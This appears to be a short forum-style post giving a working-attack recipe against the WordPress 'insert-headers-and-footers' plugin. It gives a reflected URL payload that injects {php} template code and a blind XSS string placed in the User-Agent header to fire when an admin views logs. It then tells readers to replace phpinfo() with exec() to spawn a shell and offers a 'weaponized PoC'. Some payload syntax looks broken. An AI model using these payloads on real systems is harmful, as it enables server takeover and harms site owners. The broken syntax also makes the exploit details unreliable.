----------------------------------------------------------
insert-headers-and-footers  blind XSS / SSTI:
----------------------------------------------------------


here's the reflective method assuming you had user interaction with the admin (they click the link and it executes your code). Use URLEncoding if you're going with this method:
----------------------------------------------------------
https://host.com/wp-content/plugins/insert-headers-and-footers/conf.php?admin_is_enabled=true&addfooter={php}phpinfo();{/php}
----------------------------------------------------------


for the blind version, no interaction is required. Set your user agent header (you can use a browser extension for this) to the following string:
----------------------------------------------------------
<script>onload=fetch(//HOST.com/wp-content/plugins/insert-headers-and-footers/conf.php?admin_is_enabled=true&addfooter={php}phpinfo();{/php});</script>
----------------------------------------------------------
From there itt'l be like a ticking timebomb. As soon as they view the logfile, your code will execute (so change phpinfo(); to something like exec('blah'); to spawn a shell)
*if <script> tags are blocked then use an event handler to trigger it directly e.g. <svg/onload=fetch(//host.com/PAYLOAD)>

If you're having any trouble reproducing this, then just let me know. Remember that if you're using the blind version (which I suggest as there is no interaction required) there will be a delay before the shell is spawned as the admin will first need to login to admin panel. Once they're logged in, the JS will execute and the template engine in use will execute your code at the server-side. If you need a more detailed or weaponized PoC, just hmu.